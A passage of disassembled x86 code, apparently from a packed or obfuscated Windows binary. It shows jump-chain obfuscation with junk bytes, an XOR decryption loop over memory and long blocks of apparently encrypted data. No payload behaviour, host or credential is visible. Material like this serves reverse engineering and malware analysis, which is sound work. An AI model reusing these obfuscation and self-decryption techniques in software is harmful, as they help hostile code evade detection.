OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 6726h dd 3B2BD14h, 5FFEB980h, 7B0A75ACh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4092C4: ; CODE XREF: sub_408E23:loc_40928Fj sub eax, 90BAC3Ch jmp short loc_4092FB ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 57h dd 0F3622D44h db 0B0h, 29h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4092D2: ; CODE XREF: sub_408E23:loc_4092FBj jmp short loc_409312 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh db 1Ah, 4Bh, 28h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4092FB: ; CODE XREF: sub_408E23+4A6j jmp short loc_4092D2 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 41h, 0E6h, 27h dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h db 4, 0EDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409312: ; CODE XREF: sub_408E23:loc_4092D2j xor eax, 69B80124h jmp short loc_40933B ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0A5h, 7Ah, 2Bh dd 7462188h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409320: ; CODE XREF: sub_408E23:loc_40933Bj jmp short loc_409352 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h db 0CEh, 0EFh, 0FCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40933B: ; CODE XREF: sub_408E23+4F4j jmp short loc_409320 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 85h, 0DAh, 0Bh db 0E8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409341: ; CODE XREF: sub_408E23:loc_409352j jmp short loc_409371 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 1 aJcf2g db '¦ç”=2ƒ',0 db 39h dd 0F52CDF7Eh db 8Ah, 0FBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409352: ; CODE XREF: sub_408E23:loc_409320j jmp short loc_409341 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 0D7567118h, 73E2ADC4h, 0CF2EA930h db 5Ch, 65h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409362: ; CODE XREF: sub_408E23:loc_409371j jmp short loc_409390 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 0E148EB3Ah, 1DF4C706h, 19606392h db 0DEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409371: ; CODE XREF: sub_408E23:loc_409341j jmp short loc_409362 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0BFh dd 0DBEAD58Ch, 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409390: ; CODE XREF: sub_408E23:loc_409362j ror ax, 0F8h push eax push ecx mov ecx, edi jnb short loc_4093A1 lea ecx, ds:808CDAh dec eax loc_4093A1: ; CODE XREF: sub_408E23+575j lea eax, ds:80A49Ah cmp al, 0C9h not eax mov eax, ebp cld pop ecx pop eax sub eax, 979D27DAh push esi push ecx lea esi, ds:80A31Ah xor ecx, edx mov ecx, 80925Ah test al, bh cld pop ecx pop esi xor [ecx+edi], eax push esi push ebx push eax pop ebx jz loc_4093E3 cmp al, 0CAh or ebx, 80989Ah shl esi, 55h neg ebx loc_4093E3: ; CODE XREF: sub_408E23+5ADj cmp al, 0F2h cld pop ebx pop esi dec ecx jnz loc_40912D jmp short loc_409421 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 97h, 84h, 6Dh dd 69F033A2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4093F8: ; CODE XREF: sub_408E23:loc_409421j jmp short loc_409433 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 8FEEh dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch db 68h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409421: ; CODE XREF: sub_408E23+5CCj jmp short loc_4093F8 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 81h dd 0BD146726h, 0B98003B2h, 75AC5FFEh db 0Ah, 7Bh, 98h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409433: ; CODE XREF: sub_408E23:loc_4093F8j pop ecx push ebx push edx test ecx, ecx dec edx cld pop edx pop ebx pop edi jmp short loc_40946B ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0B0h dd 0DC4FAE29h db 0E5h, 0BAh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409446: ; CODE XREF: sub_408E23:loc_40946Bj jmp short loc_40947B ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh db 4Bh, 28h, 41h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40946B: ; CODE XREF: sub_408E23+61Aj jmp short loc_409446 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0E6h, 27h, 0D4h dd 40C3727Dh, 6C1FBE79h db 35h, 0CAh, 3Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40947B: ; CODE XREF: sub_408E23:loc_409446j pop esi push edi push eax push ecx pop edi cmp esi, esp push eax pop edi cmp al, 0C2h not edi mov di, 4A49h cld cld pop eax pop edi retn ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0EDh dd 0EB228ED5h, 0E970B30Bh, 0A59C0F6Eh, 21882B7Ah, 0D210EB53h dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 68CD64F7h, 228ED5EDh dd 5E95Bh, 93820000h, 2BCEC9D0h, 0BE9D3h, 0FCEF0000h, 0E80BDA85h dd 94E7A601h, 53515B3Dh, 80CBDAB9h, 33D9F700h, 33E43BC9h dd 3C5B53CEh, 0FCD98BE8h, 5255595Bh, 0C1CB8553h, 0CA814AC2h dd 80885Ah, 0DE33DA8Bh, 685A5BFCh, 10000000h, 0E8C15150h dd 0C140413Ch, 0C98725D0h, 5859FCF5h, 8B56535Dh, 33C785F1h dd 0C89ABEF5h, 0F08B0080h, 4A41BE66h, 5EFCDE87h, 0EBC0335Bh dd 3073E22Ah, 5CCF2EA9h, 3A6531EBh, 6E148EBh, 921DF4C7h dd 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h dd 0EB45BCAFh, 0A8CB9ADBh, 2EEB66C1h, 0F2FD54A7h, 0EBF9C043h dd 0EC9F3EF5h, 0EBBB4AB5h, 1631D82Dh, 0A26D8497h, 0EE69F033h dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0DFEB4C7Fh dd 389BAA95h, 0E4777611h, 5013024Dh, 0F8834E49h, 84840F01h dd 0EB000000h, 1467262Fh, 0B2BD43EBh, 0FEB98003h, 0A75AC5Fh dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 0F85BD2EBh, 0EB3736D1h dd 0C20DA42Bh, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 0D4ECEB27h dd 727D29EBh, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h dd 6EE970B3h, 9C0FE6EBh, 882B7AA5h, 34074621h, 0A0A3D25Dh dd 8BFF1E59h, 5608246Ch, 47D7C157h, 8B5E5FFCh, 0CD2AEBC5h dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 30EBE7A6h, 83323D94h dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h dd 65E3EB5Ch, 0EB48EB3Ah, 0C706E12Eh, 63921DF4h, 0BFDE1960h dd 0DBEAD58Ch, 5178EDEBh, 8D24B7B6h, 53422CEBh, 0AF8E8990h dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h, 0EB3EF9C0h, 0B5EC9FE7h dd 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh, 5ABFAh dd 0EB000005h, 20235229h, 9ED937EBh, 0AA954C7Fh, 7611389Bh dd 24DE477h, 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h dd 0FEB98003h, 0D8EBAC5Fh, 987B0A75h, 0D62DEBF1h, 622D4457h dd 0AE29B0F3h, 0DCF2EB4Fh, 0C86BBAE5h, 74478661h, 0E0E3129Dh dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h dd 50005h, 3C565200h, 905ABACAh, 0E6C10084h, 5EFC4649h dd 0EBD08B5Ah, 40C3722Bh, 0BE7939EBh, 0CA356C1Fh, 96B1583Bh dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h dd 1E59A0A3h, 2A15CCFFh, 0B81BD6EBh, 0F627EB91h, 82CD64F7h dd 0CEC9D093h, 0EB85FCEFh, 0E80BDAF0h, 2DEBA601h, 323D94E7h dd 7E390083h, 8AF52CDFh, 567118FBh, 0EAEBC4D7h, 3073E2ADh dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h dd 0C281D5h, 53000006h, 1A358D56h, 33008189h, 0CD3CFCD8h dd 5D5B5EFCh, 87F55157h, 5F59FCFFh, 84535752h, 5BFC90CAh dd 0C35Fh, 48h dup(0) dd 0C2CCB8FEh, 0E88477C0h, 36F44E34h, 104893A8h, 0F2AA4B33h dd 767F0166h, 57EB6BD0h, 7194FF6Eh, 7B626B3Eh, 25287398h dd 75DF3A4Eh, 0F3164A0h, 4CC2B0E5h, 0BB101206h, 0A3CD5C5Ch dd 8D0CD11Bh, 7B1EB5B6h, 7584295Ch, 22CA3E53h, 0BB4151Ah dd 0FB18A161h, 0A4BDCFB9h, 0CA543Ah, 285AFABFh, 0B3048B83h dd 0B2342B02h, 2C3E73E6h, 74F9BBCh, 0EEDA7869h, 0FDEBD7CBh dd 0A895EB45h, 2066D5BCh, 0BEBB8574h, 0C918C7A4h, 0F4033A9h dd 53D1D9B7h, 0B7EA1E8Eh, 68E3F8CFh, 8B565AFEh, 6F71E0EBh dd 80BD6486h, 6917CECh, 0DF43A8A3h, 43A3FD98h, 0F3785C8Bh dd 40C14DC3h, 0B859CCAFh, 8BE9ED23h, 48C45C1Ah, 0B2425B78h dd 33B4E770h, 3D6F2E07h, 9B2029ACh, 7D0D25EAh, 15494745h dd 82E802Fh, 3889FBFBh, 0A9C94295h, 41A0C338h, 167CE99Fh dd 3C651CB4h, 3835F7FDh, 0E1734B20h, 693B9CE6h, 1CF6A043h dd 74B3B65Ch, 553B1405h, 71846619h, 0B9A14BAFh, 37C01B39h dd 1D9EE807h, 0CBD706DEh, 8DF9F54Eh, 6B251F37h, 7B76D29Ch dd 7CA88D28h, 0B3CF803Ch, 0D11BF5A4h, 0B4287C05h, 2AFDD4FFh dd 0E7C109Ch, 2963F1DAh, 43836053h, 0AE461173h, 0CE4A044Ah dd 0E50E8D39h, 1EFD83C0h, 4024D402h, 23871419h, 4742AD06h dd 7C75844Ch, 29FBDAC9h, 4ACEA0CFh, 626B9523h, 5C63C38Bh dd 0C4BC4FFCh, 0E6F206F0h, 955923CAh, 0E729DDBCh, 618EB704h dd 920805B9h, 88E2992Bh, 0B02F0700h, 0BE55462Bh, 0F3D7411h dd 0A5A4D9A5h, 0C7AD9961h, 0BF7FEAB8h, 6A4193A2h, 4AB23BDEh dd 0CAC739EBh, 75A8A67Fh, 5CB96BA5h, 5254FD66h, 0F1BDF36Ah dd 89CADD23h, 85EAEDE9h, 5850F81Eh, 7CC250Bh, 0B4F25918h dd 0CFF1E6A6h, 228F2A00h, 4F68D1C0h, 3EE9021h, 0B7EAF89Dh dd 9745EEBAh, 9E39BDBAh, 0C17DC62Eh, 368ADAFDh, 93F222D7h dd 0B54833ACh, 6FC704Dh, 7D89FCDAh, 0F859B4B2h, 27CE9F54h dd 19E500E9h, 1FB2504Ch, 0A7434124h, 366E5B48h, 0F53462C2h dd 34117FB3h, 59029DB5h, 4A866DE4h, 6AFEF4C9h, 0ECF55334h dd 634D0A65h, 8EDE88CAh, 1E2CEA59h, 1252A124h, 91046E5Ah dd 0ACD0B157h, 0ABA9B7ECh, 0B9BD1247h, 856A2171h, 0C20629D5h dd 0FDE9495Eh, 22824199h, 0D5417CB6h, 9968E961h, 0BD221654h dd 0B155EB5Fh, 0FDF1024Bh, 0C8734168h, 1494672Fh, 0E33F94ACh dd 0D0FEFD74h, 8522D68Fh, 3027295Bh, 0CC8A0A7Fh, 0FCEF5B10h dd 935F46C0h, 0B0404FE7h, 9F9E3544h, 894BD382h, 0F271A1EDh dd 4EC28220h, 0AA137F2Ch, 0D6A46CD7h, 6F4EB4BDh, 4138100Ah dd 3F50385Ah, 464844DBh, 69686D9Ch, 280B712Ch, 459A6959h dd 0F0F0049Dh, 0DCE2D451h, 4031C17Fh, 259C074Bh, 60BF334Eh dd 0C3380E8Fh, 0AA2728FEh, 63AF98E0h, 4FDB00BDh, 1516C5EDh dd 7B72C544h, 81BAE9C1h, 0B23A5FC1h, 7475A76Ah, 8DBEABD2h dd 853123B3h, 859A11E8h, 92DF0ECDh, 0FBA95DF8h, 986E63A8h dd 0EC762B94h, 5AF9041Ah, 0D96624BDh, 46574890h, 0A528B593h dd 0F01624B3h, 7CD40D4Bh, 3845E5D5h, 328830A6h, 39239BDh dd 0D45FA947h, 80F9BD4h, 3A20BC6Fh, 643200D0h, 0B5D298A4h dd 0F0E3ED4Bh, 10134220h, 0DE8D993Eh, 0E26F7A49h, 6F0068E5h dd 0B7BD13FAh, 243FE8AEh, 91E6A17Ah, 0E24CD445h, 0E7F54493h dd 475CD6BDh, 97E922AAh, 9ADA6ED3h, 63CFCE53h, 27A095D3h dd 55745A2Dh, 94D6BC9Eh, 7DF494ACh, 5699D31Eh, 0A6AA73Ch dd 0A5478D37h, 0F8BFF728h, 0B4B14F5h, 59850473h, 86492861h dd 2F3BCFEFh, 6599DDB2h, 8B784E10h, 14E4028Ah, 7E00E1D7h dd 72413465h, 85A5729Bh, 72802B39h, 2EE7A662h, 0EF3EB1D9h dd 0B459F3Fh, 92C812B0h, 98F3BA31h, 0BBD912DDh, 0E46C3157h dd 5DE5FC93h, 0AB246C0Fh, 20FFFE10h, 8B47E291h, 5A852239h dd 9F645592h, 19B0479Fh, 7FA9CA37h, 14B1F708h, 0E002EA13h dd 81CF5717h, 847EFE4h, 0FD0F417Ah, 41AB00A4h, 86364148h dd 9FFF2E20h, 0F4E68222h, 763CA893h, 0D8723E17h, 951B82EDh dd 623E7D39h, 5619E53Ah, 0ECFBFD5Dh, 1FD63F21h, 0DD8454C1h dd 5677B88Eh, 8B1C3240h, 272CA6E2h, 0CF806072h, 0B4FA8CE0h dd 0E03043E7h, 0F6914C90h, 0A4119304h, 7D921C62h, 49802E96h dd 2417AF9Eh, 979035E7h, 8095C315h, 0A7D3DFE9h, 2B71562Ah dd 8B110D71h, 0D58D6E8Ah, 6F9B698Ch, 2B243DC0h, 4AA2728Fh dd 56014E7Eh, 0E86C646Fh, 0CC71EC6Fh, 0D44D6376h, 0DE8F4966h dd 5DFC6B81h, 8E6C0F0Ah, 3C277E09h, 1EDC0A26h, 0CC2C769Bh dd 0A005263Eh, 70437719h, 0E6004DFCh, 807807FAh, 1F57B637h dd 7B8DD920h, 32EEF7D4h, 0DF49E741h, 0C2DCCC4Ch, 4C729B1Ch dd 171025CFh, 4A3EDCC0h, 41780464h, 0D5BF1DF7h, 6A67D781h dd 3838127Bh, 3B7BD7EEh, 0FD7193D6h, 599F7702h, 879F21F1h dd 6906851Dh, 0C88762C9h, 3CEEBC3Ch, 56939F7h, 0D4BA0F2Ah dd 0A1FEF5BAh, 0AE16A60Eh, 8083A763h, 0BBDDA8BDh, 1DBB4AADh dd 515D4E8Dh, 83037F4Ch, 45ADF793h, 52A33156h, 130C7A30h dd 0F0D457DEh, 1F8C6A19h, 65EAA085h, 879FC7D2h, 0ECD50D20h dd 6FABADF6h, 514A58FEh, 0C60F3C1Eh, 0CBD52C7h, 50358823h dd 0BD02B4FAh, 0FD5F06B6h, 64E957F0h, 181F6315h, 4CE94F9Dh dd 2F34A1B7h, 9ACA2FA1h, 7D0C2BCDh, 8FBF03BAh, 0A176975Eh dd 556F3F62h, 822F1CE0h, 0B2183788h, 0D2AA0A24h, 0CAC9D48Fh dd 0C176BBF3h, 29162323h, 0BE0972Dh, 6836136Ch, 6069699Bh dd 47C53D52h, 0E5DEC6A9h, 86B14AE8h, 73F94417h, 0ABCBC6ECh dd 0E4C85BE8h, 0A5ACE444h, 617058A7h, 0FD0D0DC0h, 25D20031h dd 0EE60D5FEh, 5C01475Ch, 4FE9A5B8h, 8491245h, 939E855Dh dd 0A67FCED8h, 0A897D976h, 0B231B376h, 0B168A94h, 0A3B7699Eh dd 56CC07ABh, 0CE30B5E7h, 3B71E0CDh, 3F4C4EC8h, 35425C7Eh dd 68D50054h, 1504943Dh, 0C424B665h, 0FAB75F94h, 0A4A824DCh dd 528A714Fh, 0C354C728h, 5C0739E0h, 0E649DFB8h, 0C062A52h dd 636D03E9h, 8F0DFD9h, 5F4F19D3h, 2F52865h, 105ADD2h dd 7DD02605h, 805B4378h, 19B9B0D7h, 87539495h, 4C195689h dd 0C06D0FFCh, 4D935FBAh, 68F5B6EBh, 33B1C0C5h, 36D3DC11h dd 0A248A429h, 0F7049E25h, 2C1527CCh, 0E1AE3B3Dh, 3340483Ch dd 3E1F8AFBh, 0E9B4ECCDh, 42CFC7F8h, 7AFDA96Ah, 0CFF8F6A6h dd 0DB98A38Ah, 3F452A9Ch, 37B75221h, 56B18F4Dh, 899A9330h dd 45F95773h, 0D28C1383h, 0AA2B3C5Eh, 2F4C2B69h, 2E400529h dd 0FBEE62CAh, 2526A82Ah, 30DBF6AAh, 0E72F3F43h, 8667F060h dd 6E34FFE8h, 2AC2DE32h, 977F2CB6h, 0E71CBEDCh, 8C0DC19Ch dd 85FE755Ch, 4DEC50E5h, 0A3B1DBC1h, 6C6E8AB0h, 87E47F17h dd 0D5396360h, 84AB3BCDh, 1D469BFEh, 0B33F76DAh, 4F67DCD8h dd 9FC73366h, 0AC69A20Bh, 127C12BDh, 0D53175C5h, 92D5E9ABh dd 9184DA21h, 69B31080h, 2C73A5FDh, 3F0882DFh, 0F442AD87h dd 87EB04F3h, 0E618FDF0h, 29969224h, 8CE7CC3Ch, 0FCC6BB81h dd 0C838AB5Bh, 0D3ED7001h, 0A2E535C6h, 836DA411h, 4EA2ABB3h dd 0A88EA5F0h, 3B32D4D5h, 0EC35394Fh, 5A5C04B4h, 0EBDE812Bh dd 0B4938990h, 5301E7BCh, 0F0DF0656h, 4AAD297Dh, 976B68EAh dd 0C342F72Eh, 0C7472D1Ah, 3945C769h, 0E578A7C4h, 6317CD9Fh dd 7505269Eh, 49A307BFh, 6D7D98B2h, 5AA4DE6Ah, 6D18F115h dd 4EA1BBB7h, 8FD874B5h dd 7DD45D3Ch, 0EBEF2D28h, 87191777h, 267BCE55h, 47D038F8h dd 0C00C4FA5h, 0BAF26423h, 45B26DD8h, 69737BCDh, 5E34DC32h dd 0FE40CEEAh, 7DBCA8CDh, 9E93E0B5h, 70E231F8h, 796C078Fh dd 1EE2F0DEh, 0AD4FA93Ah, 126CBE99h, 0C82D7105h, 1607F1DFh dd 0A9C1C29Eh, 0F9584E3h, 23DBC07Bh, 786DB4ABh, 1ADAB1F6h dd 74B9F0C2h, 95AA98A6h, 0B393A299h, 33137Fh, 695899Bh dd 91A63846h, 0CC148FFDh, 0B017F077h, 6EBAC57Eh, 9D34A281h dd 0CEC0843h, 0E96544B8h, 3C738ACCh, 5B1F841Dh, 0BA65A19Eh dd 23E2263Fh, 868AFCB5h, 0FF7B22A7h, 1547795Eh, 51043Dh dd 2BDE31D5h, 6F48E302h, 0DF08863Fh, 38B04DEFh, 76D183F2h dd 3A6FC02Eh, 0F73A4D68h, 0CF37538Eh, 0A0EF86F3h, 746CE632h dd 0AE8DAFC2h, 0DEC6CE9Bh, 22DA4683h, 9C019B54h, 0B56CE16Dh dd 2BA5498Fh, 22609710h, 0D26357A0h, 2661A67Ch, 1D1EF36h dd 1BD11EA6h, 1A72A92Ah, 48D5CC5Fh, 1E5FD637h, 16A9598h dd 8FD1B781h, 839E169Eh, 58A9FF37h, 0BBF41090h, 439B667h dd 0E8724632h, 0F6F04BB0h, 6B2BAA6Eh, 36CAE112h, 0AEF10CB6h dd 0BFD37FFBh, 0A5322746h, 14B187DDh, 72F1C681h, 0C4DE12CCh dd 0AF2E830Fh, 26E86608h, 0F6F7D826h, 4447D5B0h, 9F6FDCCAh dd 91D728Fh, 0C135CC25h, 48DE699Ah, 4C1F3DAFh, 44F1F1CCh dd 0ABB1C565h, 30A23F91h, 8D5D778Ah, 0C03B305Bh, 61587E70h dd 1BC0BE5Dh, 0A62051C5h, 1CAC2252h, 6EDDD409h, 6AAFF86h dd 2211FBD5h, 5718FB9Ah, 0D5FE20Dh, 61570D54h, 960F63Eh dd 0C8A658BDh, 893D8F01h, 0CF237F69h, 0BDDC2AA8h, 4D8FF3Ch dd 234F1E38h, 0B210A486h, 0D9273FF5h, 0AD23C3E6h, 0C300FFCAh dd 3F3BDA5Fh, 0DF45AC3Fh, 838ECCC9h, 5054D690h, 88976FB2h dd 49725AA5h, 9059F22Dh, 0BD9F3BC5h, 0A7AC6A8Ah, 0F56B161Fh dd 770CAFB7h, 47C180A8h, 29E1C1D9h, 0AEACDAC0h, 153872AAh dd 35B7BDC6h, 15F6AB41h, 27057770h, 9464C5B1h, 0E9D564B6h dd 6F96345Bh, 99CD4C25h, 0DDF88834h, 0DA6981h, 3AA39418h dd 4A0B5096h, 0B61BC115h, 0FFC96953h, 3593BBBh, 7368F435h dd 8C6264ADh, 87E0AC9Bh, 451F2ACCh, 0F152ECBh, 19C45322h dd 77E24EBFh, 0A1E94604h, 0AE07191Fh, 0EEA7F5Fh, 0A41359FAh dd 88D2BF35h, 0D4028655h, 5BC9CD20h, 182A7A52h, 0A3BCACE2h dd 8D141D9Fh, 3AC00FCDh, 0F646228Bh, 0F5430A0Ch, 0BF1AE754h dd 0EBDC848Bh, 0C8031883h, 92EC1574h, 3C9AA310h, 56A3B42Eh dd 0ED984D1Eh, 5CC99D71h, 0E24857D4h, 546F286Eh, 0FE6D3F1Bh dd 2CB474DCh, 27D921C1h, 335B04B7h, 1CCD11F2h, 64F217D9h dd 4BF0A4BAh, 0F303A5FEh, 72CC29ACh, 62AAC187h, 4CC81FA9h dd 0ACF1563Ah, 0EF4BCB81h, 2DD10600h, 0B3DB07FDh, 5F46846Fh dd 4651E3A8h, 7F658640h, 0C09987ADh, 7ECE08CFh, 1F47CAFBh dd 8F86AB0Eh, 75CAED78h, 612967F9h, 4C36F1EFh, 8DF6FCF5h dd 124BF620h, 5C4C79DCh, 0A2E5089Bh, 2527D5C2h, 0F171F033h dd 9CFBD2BBh, 0A4DCEB46h, 0DC05F440h, 0E545D5FBh, 0FD44D850h dd 0E6B85684h, 5502BEC3h, 6B2DAFF8h, 3D1A1A6Fh, 1A7F9338h dd 888924C7h, 3A7D2843h, 3EA6B80Bh, 88A8138Bh, 0B5A34791h dd 46BB4Ch, 0F8DD42F1h, 744C87BAh, 51E5E454h, 0EA9D5DBBh dd 0FDE7549Fh, 8878D4F1h, 29C86D4Fh, 63FBA14Eh, 97B168C3h dd 3614DBA7h, 0ED5D1EC1h, 181F3A97h, 0D2D3CB26h, 7D0BDBC4h dd 7700CCE8h, 3E43D1BCh, 0F700898Fh, 0F96D90A7h, 0F22DDA5Fh dd 0C443723Eh, 7A24BDECh, 0C5DFD44Ch, 473A7D26h, 14F40B67h dd 9D958742h, 0BCF0F440h, 0DE0CFCAAh, 9A083306h, 0D5B13CB9h dd 0A9D40607h, 0AC3CA449h, 0A5FE3E67h, 42810E20h, 0CED338ADh dd 0AC3F4B15h, 0D382F3DAh, 0CDC37ACEh, 5CDA59C0h, 37FD7ECEh dd 2F1566C7h, 924D435Dh, 0E79EE743h, 5FFD19D8h, 238FF408h dd 0DD6A2232h, 9C1A6F08h, 0F62D9323h, 0B22B17F0h, 5E2127Dh dd 79D2D69Eh, 0D8EB83FFh, 4A2C31CDh, 7FB5FE15h, 0B3E54D80h dd 0BC3B0492h, 1F53396Ah, 0C7EA2676h, 0F427ADAEh, 1E67736Ah dd 3BF15B2Fh, 0A832EDD3h, 7546AFC5h, 291538B1h, 0B64CCC91h dd 0FDB7AF02h, 0EF7A3B58h, 0B2E5F78Fh, 8D2178FDh, 0CE1B7035h dd 0C82D3B22h, 299B83D8h, 0DF6491D5h, 7A6BD06Bh, 852F702Ch dd 68CC4032h, 0F848181Ch, 2BEACDF8h, 9D9EDA07h, 0A8C7C129h dd 1E52FC35h, 0B0AB27B6h, 0C2FCA42Ah, 0CDFFED2h, 0D20359F1h dd 94167A6Eh, 0F30A4829h, 253A0F10h, 993F62E5h, 0E4413B74h dd 0E2C5A6C6h, 8576FEF6h, 143E32EBh, 33D9A51Bh, 0F8104B4Bh dd 660911BCh, 0D9A12260h, 0C449D60Ah, 8F5E501Bh, 5D218679h dd 1BD15149h, 97D2D5BBh, 41A95E84h, 0BFC97FECh, 0CF8D29EAh dd 0B4B6BF72h, 4A26D8C7h, 0C3C5AB63h, 5F8DE9E9h, 8A6C8F78h dd 0AF709B84h, 220735FAh, 0D1381479h, 0D3EC13C9h, 0EA5B5B42h dd 0A3B2AB4Ah, 0BE1DD8F2h, 81802586h, 0CD573989h, 514BD26Bh dd 0D5BF6588h, 58D5B9F6h, 1E212441h, 0CDB9462Fh, 42E57514h dd 0EC8C2A3Fh, 0ED05C211h, 3CB7DDD9h, 532B88CAh, 562422Dh dd 16109502h, 0DCD8A476h, 0BBBEB589h, 0B7B0FD70h, 0CA183999h dd 0C4EFB460h, 0B9AA5D55h, 2DE237A9h, 6FD9E093h, 7044F865h dd 9704A876h, 4C729948h, 5A6DEF8Fh, 6BCB90ABh, 0A2A97CC4h dd 0AADA6138h, 13074515h, 953AE473h, 9394400Ch, 364B34FDh dd 27FD13F1h, 8EDA525Bh, 0F34DAF79h, 588E3563h, 0A0B93DCFh dd 951DA583h, 82C80E0h, 825D6B6Bh, 5163B59Ch, 0EB2115Dh dd 0C658B162h, 0AD6A9EEh, 686ECB7Eh, 34F63EF2h, 6F14C55h dd 0B2C5B0EAh, 0AC8CE9D3h, 0BE4392DDh, 0A9D0F73Ah, 28E5B5D7h dd 42D732D0h, 15CABDD4h, 0FA524402h, 384EFA3Eh, 0C98603DDh dd 7478DD2Ch, 95FE25BEh, 0B564FDB8h, 1CDDCC97h, 985874D5h dd 96BBA3F9h, 0E6818398h, 0AD7F9EE6h, 6D5279A6h, 7321D06Dh dd 5CC8E160h, 0FFA2BEB9h, 854FA65Ch, 3E36C64Eh, 333BC1D4h dd 6B7F6347h, 0A08BA421h, 30078C86h, 0D6A1FAB0h, 0F23986F7h dd 0A4E80C99h, 0FC0A5C30h, 66BF8B39h, 624BECB2h, 879EFBA2h dd 4879C344h, 0FE00C805h, 2910B609h, 0AAD238BCh, 0EF92C245h dd 0EEDFE08Ch, 2C4A1187h, 0D334D361h, 1F925C8Ah, 70289D5Eh dd 9494B221h, 697519B7h, 19703C10h, 613906F8h, 2BF33DBBh dd 0CBB1341Bh, 0A8021D26h, 13BB9CE5h, 897D8A62h, 0A311A09Bh dd 0EA2A9B09h, 83347E37h, 0B1E3E3CDh, 39307B3Bh, 1E1BC569h dd 19FF3994h, 6FF572B1h, 0A4C190h, 5A5157CDh, 8D91095Ah dd 3DFD2579h, 0BBC399DAh, 0AA5ACE37h, 64F4D8Fh, 7097C990h dd 6C1CEC3h, 0EEFCDDE7h, 0BA0A55A1h, 0BA130Bh, 0E50BBD23h dd 0EE419ABEh, 0B4D9934Bh, 0B7E5480Dh, 0AB9A1940h, 0FD7D8A2Eh dd 419EDA11h, 0F06248ECh, 1749CDF9h, 3600D8AFh, 0B68D944Bh dd 0D4ABD742h, 85BB398Bh, 775E7D39h, 7837552Ah, 0A75FA2A6h dd 90783112h, 0B74A5832h, 0CC6AC79h, 8ECB0BB5h, 0E53ECD17h dd 